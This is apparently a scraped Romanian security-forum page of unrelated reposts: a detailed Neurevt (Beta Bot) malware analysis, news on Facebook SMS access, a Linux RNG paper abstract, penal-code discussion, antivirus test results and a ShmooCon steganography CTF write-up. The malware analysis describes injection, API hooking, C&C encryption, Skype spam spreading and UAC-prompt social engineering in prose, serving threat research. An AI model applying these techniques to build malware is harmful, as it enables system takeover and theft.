Nytro

NEUREVT Bot Analysis by Zhongchun Huo | January 29, 2014 This article originally appeared in Virus Bulletin Neurevt (also known as Beta Bot) is an HTTP bot 1 which entered the underground market around March 2013 and which is priced relatively cheaply 2. Though still in its testing phase, the bot already has a lot of functionalities along with an extendable and flexible infrastructure. Upon installation, the bot injects itself into almost all user processes to take over the whole system. Moreover, it utilizes a mechanism that makes use of Windows messages and the registry to coordinate those injected codes. The bot communicates with its C&C server through HTTP requests. Different parts of the communication data are encrypted (mostly with RC4) separately. In this article, we will take a detailed look at this bot’s infrastructure, communication protocol and encryption schemes. (This analysis is based on samples that were collected from March to June 2013.) Installation/Deployment Installation Process Just like most malware, the installation of Neurevt starts with it copying itself to a system folder. The folder is selected according to the machine’s characteristics such as the version of Windows, the service pack installed, and whether the OS is 64-bit. For example, on an x86 machine running Windows XP SP2, the chosen folder is %PROGRAM FILES%\ COMMON FILES. The installer creates a sub-folder named ‘winlogon.{2227A280-3AEA-1069-A2DE- 08002B30309D}’. The first part of the folder name, ‘winlogon’, is obtained from the configuration of the bot, and the second part is a special GUID which makes the folder link to the ‘Printers and Faxes’ folder in Windows Explorer. This folder will act as the launching point each time the malware restarts. The installer then launches the new file and exits. The newly launched copy creates a process of a system application, which also varies under different circumstances, and starts to inject. The injected data is within a continuous block of memory and has the following data layout: Since this is the first time the malware has injected something into another process, the injected content runs as an independent application. I refer to it as the primary instance’ to distinguish it from other instances that are injected into other processes. The primary instance searches for all running processes, and injects into those that fulfill the following conditions: This time, the injected data has the same layout as the primary instance. The only difference is in the ‘local cfg’ part - in which some data fields are modified to act differently since some components should be loaded in the primary instance only. After injection, there should be one instance of the malware in every running user process. I refer to these as ‘assistant instances’. There is code in every assistant instance that monitors the status of the primary instance. Once, for whatever reason, the primary instance exits, the assistant instance will attempt to restart the malware from its launch point. After the malware has finished its deployment, the primary instance will start to communicate with the C&C server. The whole process looks like a traditional virus infecting a file system, but instead of infecting files, the malware infects running processes. Gather local information The first flag contains information about the Windows version, installed service pack, and whether the OS is 32- or 64-bit. The second flag contains information about the following software or vendors: .Net Framework, Java, Steam, SysInternal tools, mIRC, Hex-Rays, Immunity Inc., CodeBlocks, 7-Zip, PrestoSoft, Nmap, Perl, Visual Studio and Wireshark. It also contains information that indicates if the system: 1) Has battery 2) Has RDP records 3) Has UAC enabled. The fourth flag contains information about installed AV software: Symantec, AVP, AVG, Avira, ESET, McAfee, Trend Micro, Avast, Microsoft Security Client, Bitdefender, BullGuard, Rising, Arcabit, Webroot, Emsisoft, F-Secure, Panda, PC Tools Internet Security and G Data AntiVirus. Component thread The malware creates threads to perform different kinds of jobs, such as communicating with the C&C server, checking data consistency, managing messages passing among threads (components), or monitoring and infecting USB drives. These threads are like software components. In order to load the threads properly, the malware defines a function to create them. The following is the function’s definition: ThreadProc is the routine that performs a particular job, while idx is the index assigned to it by the malware. 0-0x1E and 0x21 are idx values given to those unique routines for which there should be only one running thread. 0x1F and 0x20 are for multiple instance routines. If the NewComponentThread is called with idx set to these two values, the function will assign a new idx to ThreadProc, which is the first available (unassigned) number from 0x22. The malware maintains a list to keep track of all the threads that are created by the function. Each ThreadProc takes an entry pointed to by its idx. The entry of the list has the following structure: Before actually starting the new ‘component thread’, NewComponentThread adds a short code stub and a wrapper function to ThreadProc. The code stub will be written into ntdll’s image, at a random location within the MZ header. This random location will serve as the StartAddress when NewComponentThread calls CreateThread. So, the start address of the ‘component thread’ is within the memory range of ntdll’s image. This feature is used when the malware passes messages among its threads. The wrapper function attempts to hide the thread from debuggers and updates the thread list before and after it calls ThreadProc. It also sets a specific TLS slot with a specific value, 1234. Since the malware’s code is always running in an injected process, the API hook will be applied to monitor and manipulate the behavior of the host process. The specific TLS slot value is used to identify the malware’s own threads for which the API hook should not be applied. API hook The malware applies the Ring 3 hook in two ways. First, the malware adds a pre-operation filter for each of the following Zw* APIs: ZwCreateFile ZwOpenFile ZwDeleteFile ZwSetInformationFile ZwQueryDirectoryFile ZwCreateKey ZwOpenKey ZwSetValueKey ZwOpenProcess ZwTerminateProcess ZwCreateThread ZwCreateThreadEx ZwResumeThread ZwSuspendThread ZwSetContextThread ZwOpenThread ZwUnmapViewOfSection ZwDeviceIoControlFile ZwQueueApcThread The filter first checks the specified TLS slot. If its value is 1234, this means that the calling thread belongs to the malware. The filter will do nothing and let the thread call the real API. If the TLS slot is not 1234, the filter examines the object (process, thread, file, registry) on which operation will be performed, if the object belongs to the malware, then the filter will return an error status to the calling thread. The second way it applies the Ring 3 hook is by applying an inline hook on the following two groups of APIs: 1) getaddrinfo, GetAddrInfoW, DnsQuery_W 2) HttpSendRequestW, PR_Write The malware hooks APIs in group 1 to block unwanted hosts. The host list is received from the bot server. Most of the unwanted hosts are the web servers of anti-virus software vendors. The malware hooks the APIs in group 2 only if the injected process is one of the following browser processes: firefox.exe iexplore.exe chrome. The malware receives a list of URLs to be monitored from the bot server. If the browser sends requests to these URLs, the malware will capture the request data and send it back to the bot server. Handling messages There are multiple instances of the malware running in the system. To coordinate these instances, the malware creates a thread in each as a handler of application-defined messages. Most of the messages are sent from the primary instance after it has received something from the bot server to notify other instances to update their local data, such as the blocked host list and the monitored URL list mentioned earlier. If a malware’s thread is about to send a message, it enumerates all the running threads in the system, searching for those that have a start address within ntdll’s image. As described in the ‘Component thread’ section, all the threads created by NewComponentThread fulfil this condition. The sending thread will call PostThreadMessage to send the message to them. Among these threads, only the message handlers (in all the malware instances) have a message queue (by calling IsGuiThread) for messages that are not associated with any window (a feature of messages sent by PostThreadMessage). So the handlers will retrieve the message and response accordingly. Before a message is sent out, the sending thread will add a pre-defined modifier to the message identifier. This modifier is calculated based on the signature string in the bot configuration and the computer name. Its value is within the range from 0 to 31. The wParam and lParam are also modified since they often carry values with specific meanings like process id or thread id. In the handler thread, these values will be restored by a reverse calculation before the message is handled. This means that, even if the messages passing among the malware’s threads are being monitored, it’s hard to understand their meanings. The messages supported by the handler thread are listed in Table 1. Sharing data in registry Themalware stores shared data for all instances in registry values. The values will be created under the key HKCU\ Software\CLSID{random guid}{hash of configuration signature string}. The following are important values used by the malware: CS1\S02: Encrypted data that stores the last received blocked host list. CS1\S03: Encrypted data that stores the last received monitored URL list. CS1\S01: The last received configuration. CG1\CF01: Value of the DWORD at offset 0x20 in the last received response. CG1\CF02:Value of the DWORD at offset 0x24 in the last received response. CG1\CF03: Value of the DWORD at offset 0x28 in the last received response. CG1\BIS: Flag that indicates that the process is running on a removable disk. CG1\BID: The first launch time. CG1\HAL: DWORD, set to 0xEE05 after it has been installed successfully. CG1\LCT: Time of last received bot response. Bot Communication Neurevt communicates with its C&C server through HTTP. Both the request and response are encrypted with the RC4 algorithm. The communication starts as the malware on an infected machine sends its first request to the bot server. Then the communication goes on in a ‘Q & A’ manner. Bot configuration Neurevt has a built-in configuration. The configuration data and the decryption code are both encrypted with RC4. The malware allocates a block of memory on the heap, and decrypt the configuration. The argument passed to the thread is a pointer to the following structure: The fields between DecryptFunc and GetCriticalSection are functions that are used by the decryption function. First, the decryption thread will perform an integrity check by calculating the hash value of the key sequence and comparing it with a valued that is embedded in the PE image. If the hash values are consistent, the thread allocates a block of memory and decrypts the configuration data into the memory. lpKeyForReEncrypt is a pointer to a four-byte key sequence for re-encryption. It is generated randomly after the configuration data has been decrypted. The re-encryption also uses the RC4 algorithm. Its purpose is to protect the configuration data from being discovered from any memory dump. The re-encryption is done by the main thread after the decryption thread exits. Before the decryption thread exits, it stores the memory pointer and the re-encryption key in the memory block that is given by lpGlobalData. Any access to the configuration data afterwards is carried out using the following steps: 1) Allocate a block of memory and copy the re-encrypted data into it. 2) Decrypt and get the desired data. 3) Re-encrypt the data. 4) Release the memory. The configuration data has a 718-byte header, which contains the fields shown in Table 2. There is an array at 0x2ce of the configuration data. Each entry stores information about a C&C server. Normally there will be more than three entries in one configuration. The size of the entry is 0x280 bytes. The crucial fields are shown in Table 3. Request format Each request contains a 128-byte data block, which contains the fields shown in Table 4. The malware encrypts the data block with RC4. It uses a 12-byte key sequence, which is a combination of two parts. The first is an eight-byte sequence obtained from the chosen entry of the configuration data, at offset 0x26e. The second part is a random sequence obtained by calling CryptGenRandom. The length of the sequence is within a range from eight to 27 bytes. This part of the key and encrypted data block will be inserted into the query string. If it is the first request sent to the bot servers, it will also contain the following three CS fields: 1) A full file path of installed malware 2) The username in NameSamCompatible format 3) The name of the default web browser. These strings are encrypted separately with a loop-XOR algorithm and concatenated into a URL query string. Bot response header format The bot response contains a 0x5c-byte header and a body which consists of at most eight streams (only four streams are actually used). Both the header and the body are encrypted with RC4 and they will be decrypted separately. The first four bytes in the header will be appended to the eight-byte sequence in the configuration to form a 12-byte key sequence for decrypting the header. The following four bytes in the header and another eight-byte sequence in the configuration are concatenated to form another 12-byte key sequence for the response body. The response header has the structure shown in Table 5. The Control flag in the response header is a bit-flag which triggers different behaviours of the malware, such as invoking routines that disable security software or fake pop-up warning windows to trick the user into giving permission for the malware to bypass the UAC. Fields from 0x20 to 0x28 are three DWORDs which will be stored in the registry values. They will be copied to the bot server in the next request sent by the malware. The length array at 0x3C has eight entries - each denotes the length of the corresponding stream in the response body. Bot response body According to the response header format, there should be eight streams in the body, but the malware only has handling routines for the first four streams. The first stream contains bot commands sent back by the bot server. The first word of the stream is the count of the commands in the stream. Each command is stored as a null-terminated string preceded by a data block. The size of the data block is 22 bytes. It is not used in any of the malware’s code. The malware identifies the command keyword by hash value. It has a list of handling routines. Each entry in the list has the following structure: The second stream contains a list of hosts that will be blocked. The list is used in the following hooked functions: DnsQuery_W GetAddrInfoW getaddrinfo The third stream contains a list of URLs for which the malware will monitor the HTTP requests sent. The list will be used in the following hooked APIs: HttpSendRequestW PR_Write The fourth stream in the response body contains data which could be used to generate a new configuration. The stream is in a format similar to that of an INI file. The malware compiles the stream into a binary data block which is organized in a structure described in the configuration section. Spam Through Skype The malware uses Skype to spread any text material received from the bot server. There are two bot commands that will invoke the spreading job. The bot server sends the command along with a URL parameter pointing to a text file. Each line of the text file contains a locale-message pair which is delimited by a semicolon: {locale name};{spam content} The malware chooses one line according to the locale of the system’s default language and sends the message in the line to all the Skype contacts except ‘echo123’, which is the name of Skype’s echo service. To send the message, the malware creates a new process of itself with the command line parameters set to ‘/ssp {URL sent by bot server}’. The new process sets up a communication between itself and the Skype client with the Skype API. Then it starts to send Skype commands. The first command sent is ‘SEARCH FRIENDS’, which retrieves all the contacts of the logged-in user. For each contact, a ‘MESSAGE’ command will be sent to the Skype client to generate an IM message to send the chosen spam content. Bypassing UAC On a UAC-enabled system, if the malware needs to elevate its privilege, it doesn’t play some trick to avoid prompting the user or disable the UAC once for all. Instead, it will directly ‘ask’ the user for approval. The malware creates a process of ‘Cmd.exe’ and puts the malware’s file path in the command line argument. When the prompt window pops up, it shows that ‘Cmd.exe’, which is a Windows application, is asking for privilege elevation. Careless users tend to approve the request. Then a new process of the malware will be created by ‘Cmd.exe’ and it will inherit the system privileges of ‘Cmd.exe’. Clicking ‘show detail’ reveals the trick (Figure 18). Under some circumstances, the malware will give a fake warning about system corruption and ask the user to approve a ‘restoration utility’ to gain high privilege (Figure 19). If the user denies it, the malware will continue to pop up warnings and re-prompt the user several times. The malware prepares warnings in the following languages: Russian, Portuguese, German, French, Dutch, Arabic, Hindi, Persian, simplified Chinese, Turkish, Indonesian, Italian, Spanish, Polish, Japanese and Vietnamese. It will choose one of them according to the system’s default language locale to avoid language inconsistency raising the user’s suspicion. Conclusion As this analysis shows, the communication protocol has reserved enough space for new functionalities to be added in the future. There are unused fields in both the request and response structure and there are four streams in the response data that don’t have any code to handle. Though Neurevt has just entered the market, the bot’s author is likely to develop it rapidly - we will undoubtedly see new features of Neurevt soon. Sursa: Fortinet Blog | News and Threat Research NEUREVT Bot Analysis

[h=2]Facebook wants to read your SMS messages[/h]Written by Nick Farrell Targeted adverts Facebook's latest update to its hugely popular mobile app is creating a storm by asking British users if it can access their SMS and MMS messages. Thanks to the fact that Facebook is a US company, it means that the US spooks can tap the social notworking site to read your mails. While many of us can’t imagine what use the NSA will have knowing that my wife is coming home and I need to get more cat litter, there are some companies which should be jolly concerned – particularly now it is known that the US is stealing secrets from foreign organisations. Facebook simply wants to access more of your data to feed you more targeted ads, although Facebook Android engineer Franci Penov said that it needed to read your SMS’s to automatically intercept login approvals SMS messages for people that have turned on 2-factor authentication. It seems then I was right not to be dumb enough to give Google or Facebook my mobile number as this 2-factor authentication is more of a security nightmare than it is a help. The reason Facebook needs access to all your messages rather than just from a specific number, is that Android's permissions system does not allow for it to do that. He said that data is not sent back to the company's servers, which means it could not be used to help put adverts in your timeline based on what you have written in your messages. But in IT security the path to hell is paved with good intentions. It sounds to me that a system which is set up to read SMS messages can be a vulnerability waiting to happen. Assuming that it has not already. Sursa: Facebook wants to read your SMS messages

Analysis of the Linux Random Number Generator Zvi Gutterman Safend and The Hebrew University of Jerusalem Benny Pinkas University of Haifa Tzachy Reinman The Hebrew University of Jerusalem March 6, 2006 Abstract Linux is the most popular open source project. The Linux random number generator is part of the kernel of all Linux distributions and is based on generating randomness from entropy of operating system events. The output of this generator is used for almost every security protocol, including TLS/SSL key generation, choosing TCP sequence numbers, and file system and email encryption. Although the generator is part of an open source project, its source code (about 2500 lines of code) is poorly documented, and patched with hundreds of code patches. We used dynamic and static reverse engineering to learn the operation of this generator. This paper presents a description of the underlying algorithms and exposes several security vulnerabilities. In particular, we show an attack on the forward security of the generator which enables an adversary who exposes the state of the generator to compute previous states and outputs. In addition we present a few cryptographic flaws in the design of the generator, as well as measurements of the actual entropy collected by it, and a critical analysis of the use of the generator in Linux distributions on disk-less devices. 1 Introduction Randomness is a crucial resource for cryptography, and random number generators are therefore critical building blocks of almost all cryptographic systems. The security analysis of almost any system assumes a source of random bits, whose output can be used, for example, for the purpose of choosing keys or choosing random nonces. Weak random values may result in an adversary ability to break the system, as was demonstrated by breaking the Netscape implementation of SSL [8], or predicting Java session-ids [11]. Since a physical source of randomness is often too costly, most systems use a pseudo-random number generator. The state of the generator is seeded, and periodically refreshed, by entropy which is gathered from physical sources (such as from timing disk operations, or from a human interface). The state is updated using an algorithm which updates the state and outputs pseudo-random bits. This paper studies the Linux pseudo-random number generator (which we denote as the LRNG). This is the most popular open source pseudo-random number generator, and it is embedded in all running Linux environments, which include desktops, servers, PDAs, smart phones, media centers, and even routers. Properties required of pseudo-random number generators. A pseudo-random number generator must be secure against external and internal attacks. The attacker is assumed to know the code of the generator, and might have partial knowledge of the entropy used for refreshing the generator’s state. We list here the most basic security requirements, using common terminology (e.g., of [3]). (A more detailed list of potential vulnerabilities appears in [14].) Download: http://www.pinkas.net/PAPERS/gpr06.pdf

[h=2]Using the Mozilla crypto object from JavaScript[/h] Mozilla defines a special JavaScript object to allow web pages access to certain cryptographic-related services. These services are a balance between the functionality web pages need and the requirement to protect users from malicious web sites. Most of these services are available via the DOM window object as window.crypto. Services are provided to enable: smart card events, generating certificate requests, importing user certs, generating random numbers, logging out of your tokens, and signing text. Articol: https://developer.mozilla.org/en-US/docs/JavaScript_crypto

Care CSS, style.css? Cum sa dispara?

"Vrei sa vorbesti din Alonia catre retelele de telefonie din Romania sau strainatate? Nimic mai simplu, incarca credit si cele mai mici tarife iti sunt la dispozitie. Mai mult, vei primi gratuit un numar de telefon de Romania si poti fii sunat de prieteni de pe telefoanele lor ca si cum ai fi acasa, indiferent unde te afli." Alonia :: telefonie VOIP, VideoTelefon, Messenger, Info

Toate ca toate, dar vorbeste in pula mea romaneste. "Dar inceput pentru voi exista doar la final." - GhostHckWH

Seamana cu asta: How To Hack – Use SET on Kali to Create Backdoor EXE Meterpreter Session with Persistence | Daca recunosti ca l-ai copiat nu primesti ban.

Methodology: Security plan for wireless networks By: Stephen Blair Mandeville A. Summary The evolution to wireless networks allows connections with the same quality of data transfer at a lower cost but also has the consequence of having to use security mechanisms and data encryption. This conclusion is based on the needs and problems that arise with everyday use of wireless networks. These consequences, far from presenting small problems, can be large and disastrous in some cases. The magnitude of the problem isn’t the determinant of its importance as the smallest detail can result in an irreparable loss not only financially but also of information. Our research begins with the 802.11 standard and discusses its general characteristics. Then we focus on the analysis and implementation of WPA2 technology and different security plans as a solution to current problems. Actually the important increase in the use of wireless networks has resulted in the development of security mechanisms that were initially overcome by malicious users. This is why it is proposed to implement WPA2 technology as standard security in all types of wireless networks using a methodology that consist of: the password creation, security plan creation, and software protection permitting greater wireless network complexity and security. Download: http://www.exploit-db.com/wp-content/themes/exploit/docs/31170.pdf

Da, am vazut inainte sa postez. S-a mai schimbat ceva intre timp la aceste legi?

Sa va dau un exemplu. Cunosc o persoana care activa pe forum, care a gasit un SQL Injection intr-un site "guvernamental", a scos versiunea, nimic altceva, L-A RAPORTAT, i-a ajutat pe aia sa il repare si a fost tarat prin tribunale.

O sa scoata din burta niste sume exporbitante: pagube in valoare de 300.000 de $. Asta fiind cica pentru pagubele de imagine si pentru repararea problemelor descoperite.

[h=3]Infractiunile informatice din Noul Cod Penal[/h]12:41:17, by bogdan Am avut o discutie cu amicul Max de la e-crime.ro care imi atrage atentia asupra infractiunilor informatice , asa cum apar ele in Noul Cod Penal adoptat pe 25 Iunie de Parlament si care va intra in vigoare nu se stie cind. (conform textului adoptat trebuie ca Guvernul sa propuna o lege speciala in acest sens). Aveti la finalul acestei insemnari intreaga lista de infractiuni identificata de Max (mersi!) ca avind legatura cu domeniul informatic/electronic. Din partea mea, continui sa sustin ca a fost o prostie sa se treaca codurile ca rata prin apa, fara o dezbatere publica serioasa. Si va dau doua exemple din articolele de mai jos ref la infractiuni informatice. (plus un bonus) 1. A fost inserat un nou articol 230, care face infractiune folosirea f?r? drept a unui terminal de comunica?ii al altuia sau folosirea unui terminal de comunica?ii racordat f?r? drept la o re?ea, dac? s-a produs o pagub?. Asta imi aduce aminte de o prezentarea de-a lui Max la seminariile de la Constanta si Timisoara. Presupun ca si noul articol ar fi legat de acte ca wardriving sau piggybacking. (poate ar fi si pentru altele care imi scapa). Dar e un subiect discutabil si sensibil in situatia in care ne referim la un mod de conectare la Internet din ce in ce mai raspandit. Adica daca folosesti WiFi-ul altuia si ii produci o paguba - ar fi infractiune. Dar este un punct de acces WiFi un terminal de comunicatii ? As zice ca mai degraba ca nu…, terminalul fiind calculatorul sau telefonul care se conecteaza la Internet. Poate fi racordat fara drept daca e un WiFi neprotejat ? Eu as zice ca nu. Daca nu se refera la asta, atunci la ce actiuni se refera articolul ? 2. Articolul 374 privind pornografia infantila preia fostul articol 51 din legea 161., dar adauga un nou segment, care pina la 27 Mai 2009, a fost intr-un fel de consultare publica ce ar fi trebuit sa continue in septembrie. (3) Accesarea, f?r? drept, de materiale pornografice cu minori, prin intermediul sistemelor informatice sau altor mijloace de comunica?ii electronice, se pedepse?te cu închisoare de la 3 luni la 3 ani sau cu amend?. Adica am avut o discutie si gata, ce mai vreti ? Mai mult - in legea 161, era definita sintagma “fara drept”, ceea ce mai aducea putina lumina. Acum prezentul text e schiop de-a dreptul. Ce inseamna accesarea cu drept a materialelor pornografice cu minori ? Adica doar cei ce investigheaza asta? Oare accesarea unei coperti a unui album al lui Scorpions e infractiune au ba ? (ca oricum se face un cache al paginii) - Vezi scandalul din Marea Britanie din decembrie 2009. Bonus Sa ne arucam o privire si asupra art. 226 - Violarea vie?ii private. Eu l-as citi ca adio camera ascunsa sau investigatii jurnalistice in sensul asta. Altfel, ajungi in instanta sa masoare un judecator daca ce ai descoperit tu e mai important pentru comunitate sau e mai importanta viata lui privata. Care vrea sa riste ? (1) Atingerea adus? vie?ii private, f?r? drept, prin fotografierea, captarea sau înregistrarea de imagini, ascultarea cu mijloace tehnice sau înregistrarea audio a unei persoane aflate într-o locuin?? sau înc?pere ori dependin?? ?inând de aceasta sau a unei convorbiri private se pedepse?te cu închisoare de la o lun? la 6 luni sau cu amend?. (2) Divulgarea, difuzarea, prezentarea sau transmiterea, f?r? drept, a sunetelor, convorbirilor ori a imaginilor prev?zute în alin. (1), c?tre o alt? persoan? sau c?tre public, se pedepse?te cu închisoare de la 3 luni la 2 ani sau cu amend?. (3) Ac?iunea penal? se pune în mi?care la plângerea prealabil? a persoanei v?t?mate. (4) Nu constituie infrac?iune fapta s?vâr?it?: a) de c?tre cel care a participat la întâlnirea cu persoana v?t?mat? în cadrul c?reia au fost surprinse sunetele, convorbirile sau imaginile, dac? justific? un interes legitim; dac? persoana v?t?mat? a ac?ionat explicit cu inten?ia de a fi v?zut? ori auzit? de f?ptuitor; c) dac? f?ptuitorul surprinde s?vâr?irea unei infrac?iuni sau contribuie la dovedirea s?vâr?irii unei infrac?iuni; d) dac? surprinde fapte de interes public, care au semnifica?ie pentru via?a comunit??ii ?i a c?ror divulgare prezint? avantaje publice mai mari decât prejudiciul produs persoanei v?t?mate. (5) Plasarea, f?r? drept, de mijloace tehnice de înregistrare audio sau video, în scopul s?vâr?irii faptelor prev?zute în alin. (1) ?i alin. (2), se pedepse?te cu închisoarea de la unu la 5 ani. ... art. 230 - Folosirea fara drept a unui terminal de comunicatii al altuia sau folosirea unui terminal de comunicatii racordat fara drept la o retea, daca s-a produs o paguba (1) Furtul care are ca obiect un vehicul, s?vâr?it în scopul de a-l folosi pe nedrept, se sanc?ioneaz? cu pedeapsa prev?zut? în art. 228 sau art. 229, dup? caz, ale c?rei limite speciale se reduc cu o treime. (2) Cu pedeapsa prev?zut? în alin. (1) se sanc?ioneaz? folosirea f?r? drept a unui terminal de comunica?ii al altuia sau folosirea unui terminal de comunica?ii racordat f?r? drept la o re?ea, dac? s-a produs o pagub?. ARTICOL COMPLET: http://legi-internet.ro/blogs/index.php/infractiuni-informatice-noul-cod-penal

Da, chiar daca nu merge si pe IE.

Test comparativ Antivirus – Nov\Dec 2013 (AV-Test.org) By Radu FaraVirusi(com) on January 26, 2014 AV-Test.org a dat publicitatii un nou test complex care include cele mai utilizate 25 programe de tip Security Suite de pe piata pentru utilizatorii casnici. Este realizat in perioada Nopiembrie – Decembrie 2013 pe un sistem Windows 8.1, rezultatele fiind destul de interesante, toate produsele primind certificarea AV-TEST.org, cu exceptia Microsoft Security Essentials, AhnLab si K7 Computing. Au fost folosite trei criterii mari de departajare: protectie, performanta si impactul asupra utilizarii PC-ului. Fiecare din ele avea un maxim posibil de 6 puncte. Criteriul “Protectie” combina detectia statica si dinamica a virusilor, inclusiv testarea unor atacuri de ultima ora. In cazul “Performantei” a fost testat impactul unui produs de securitate asupra resurselor sistemului in timpul unor activitati obisnuite: accesare internet, copiere documente, descarcare fisiere etc. “Alarmele false si usurinta in utilizare” a evaluat alarmele false generate la accesarea unor site-uri, rularea unor programe sau blocarea unor actiuni legitime ale diverselor programe instalate. Pentru a primi certificarea AV-Test.org, un produs trebuie sa atinga minim 11 puncte. Au fost evaluate produsele timp de 2 luni in ceea ce priveste virusii de ultima ora printr-un test de tip Real-World (site-uri infectate, virusi propagati prin email) – 110 mostre si testul “clasic” pe un set mai mare de malware (19.604 virusi). Toti virusii au fost colectionati in cele doua luni de testare. In ceea ce priveste Protectia unui PC, o componenta cheie, avand in vedere ca a proteja e mai de dorit decat a devirusa… noua producatori au primit maximul de puncte – 6 si anume Avira, BitDefender, G Data, Kaspersky, Panda Cloud, Trend Micro, Symantec, F-Secure, MicroWorld eScan. Ca o remarca interesanta trei din cele 9 au motorul BitDefender la baza si doar unul singur este produs gratuit. Alte 5 produse au primit cate 5.5 puncte. La polul opus cu o protectie insuficient de buna s-au situat: Tencent, K7 Computing, AhnLab si Microsoft. Care este impactul asupra performanteti PC-ului? Aici, doar doua produs au obtinut 6 puncte si anume: BitDefender si Kaspersky. Pe de alta parte, cele mai slabe la acest capitol au fost: AhnLab, Norman, Kingsoft. In ce priveste alarmele false si usurinta in utilizare 10 programe au obtinut cate 6 puncte. La polul opus s-au situat COMODO cu 4 puncte. In final, clasamentul produselor pentru utilizatori casnici (top 3) arata astfel: BitDefender, Kaspersky – 18 Avira – 17.5 F-Secure, Qihoo – 16.5 G Data – 16 BullGuard, Panda Cloud, Trend Micro – 15.5 Si iata ca avem doi lideri, BitDefender si Kaspersky, care merg la pas cu un scor perfect la toate capitolele. Avira se apropie de lider, o crestere laudabila si promitatoare: 17.5 puncte in total. Pentru detalii complete asupra fiecarui produs si rezultatele defalcate pe fiecare categorie si subcategorie accesati link-ul urmator: http://www.av-test.org/en/tests/home-user/windows-8/novdec-2013/ Sursa: Test comparativ Antivirus – Nov\Dec 2013 (AV-Test.org)

Shmooganography 2014 Posted on January 24, 2014 by Brian Cardinale This past weekend I attended ShmooCon 2014, which is an annual east coast hacking conference where like minded, and sometimes unlike minded people gather to exchange ideas and have a generally good time. The conference provides a forum for various speakers to present their research. Among the varying and interesting talks presented there are also many contests around the conference. There are a number of Capture the Flag (CTF) contests involving wireless, binary reversing, trivia and cryptography as well as steganography, which is the practice of hiding a message in plain site. We took a crack at the steganography challenge and here is an outline of our experience and thought process. Shmooganography was announced at the opening ceremony and we were told to investigate a huge Star Gate portal at the other end of the con. There to be was found a large Star Gate portal made out of printed cardboard cutouts and Christmas lights which were pulsating to the sound of the Star Gate theme music playing repeatedly. Also, there was a bar code scanner with the instruction to scan your registration bar code to determine which Star Gate character out of 5 you were. Conferences promote social interaction within and outside the community and this first challenge promoted this social interaction. In order to obtain the first glyph, five bar codes need to be scanned that would render the five different Star Gate characters and render the first glyph, which ended up being Scorpio, and the next clue. “The dial spins and chevrons are engaged. Getting the order correct yields the next generation” The next clue lead to investigating the four card board Shmooganography posters scattered across the Washington Hilton conference area that featured an ancient Star Gate with nine chevrons. The poster had nine chevrons either fully colored red or partially colored. The nine chevrons then pointed to 8 boxes on the right hand side, one chevron being disconnected. The color of the chevrons and the order changed between the posters. During this part of the challenge a hint was released on the Shmooganography site. “Stage 2: What the chevron on each gate points to doesn’t matter as much as whether it is on. Or off. Or connected at all. “ On and off was a big hint indicating the chevrons were a binary representation with 8 positions, which can yield the numbers 0-255. This information coupled with the 4 separate signs indicated that we had 4 sets of 8 binaries which bares a striking resemblance to the description of an IP address. The order of the numbers played a roll, but the number of positions didn’t limit the ability to guess. Another clue was released to provide the proper order as no one as making it past these phase in any timely manner. None of the IP addresses we derived were responding to network traffic or even in this country which made the whole decoding process questionable. There was a lot of head scratching at this point. We hit a wall. Then this hint was posted: “Stage 2: The chevrons are broken. The creator made a mistake. They should decode to 205.134.172.239 (when put in order). Still refer to the previous hints to know what to do with this information.” Please return your chair to the upright and vertical positions. OK, so now there is a working IP address, finally. Time to investigate what is listening at the other end. Here is where nmap is your friend! A couple web ports are open, all of which redirect to ShmooCon 2014 - January 17-19 - Welcome. The last hint said to refer to previous hints. “Stage 2: Need to echo a change of host… URL – CON + COM – ORG” This was interpreted as adding an entry into our hosts files for the newly acquired IP address. Using the math provided by the hint, “con” and “com” get removed from from “www.shmoocon.org”, and “com” gets added yielding “www.shmoo.com”. The host file was updated to The Shmoo Group to 205.134.172.239. Now, the IP address returns the shmoo.com homepage, but no further clues to the game, back to the hints. “Stage 2: Know your glyphs! Start with Earth in the northeast corner. Take it from there. First letter each, upper case. Don’t forget Hint #2. “ Earth was one of the glyths in the poster boards that were not connected to a position. The other glyths not connected to a position on the board were: Orion, Hydra, Equuleus, Capricornus. The capital first letters of which spell out ECHO. Time to try: www.shmoo.com/ECHO Bingo! The clue was vague. Port knocking was a theory. If we connected to two separate ports, another may appear. At this time we broke out and went to the ShmooCon Reception to go cash in on our free drinks. Thanks ShmooGroup! At the reception, we were able to talk to the organizer of the contest and air our, er, frustrations over the IP address and learn a little about them. They were genuinely cool guys and this information might come in handy later. So, remember its important to socialize at cons for all sorts of reasons! The next morning we went back down the Star Gate to try to decode the next clue. Another hint was released: “Stage 3: The black hole casts a hue; but it is sound which activates its data transfer. That Gate music has a nice beat to it. “ There were two boxes in the area that black lights in them, which satisfied the “black hole” and “hue” part, but how to activate them with sound was not obvious. There was a black device taped inside the box, but no visible serial numbers. We attempted to play the Star Gate theme music into the box to see if the black light would start flashing morse code, but alas no luck. Referring back to the SAGITTARIUS clue concerning two gates being connected we decided to start rhythmically tapping both boxes to see what happens. After a few moments, there was audio coming out of one of the boxes and squeals coming out of me. We activated the portal! The sound the played was an audio clip from the show Star Gate which read the following: “Humans and material obviously traverse the wormholes, but the event horizon conveys much more.” 00:00 00:00 Also in the clip was audible noise. A signal! We recorded the message and broke off to some place quiet to start decoding the signal. Loading the recorded file in Audacity and switching to the spectrogram view yields the following. There is clearly data inside this file! The question is how is it encoded? An important lesson in these challenges is to try and not over think things, but that didn’t stop us from diving deep into the rabbit hole looking into signal encoding. There are 27 positions of data which is odd for computer signals to not have an even number. The frequency of the signals also did not correlate to DTMF tones which was an early theory we held. We were stumped. Then another clue was released. “10: Stage 3: Don’t be hexed by pieces of eight. “ Easy for you to say, game maker! At this point the conference closing ceremony was coming upon us as well as the end of the time frame allowed for the challenge and we have yet still to determine the data. It was actually a good clue we later realized at the closing ceremonies. I believe the signal was a representation of octal if I recall correctly. Its a little fuzzy as we were drinking our woes away for being beat by an eleven year old! We may have worked against ourselves, and pointed him in the direction of the portals with the audio signal, cause that’s what this experience was all about learning something new and helping others learn it to! Congrats, Kid! We’ll get you next year! Sursa: Shmooganography 2014 | Cardinale Concepts

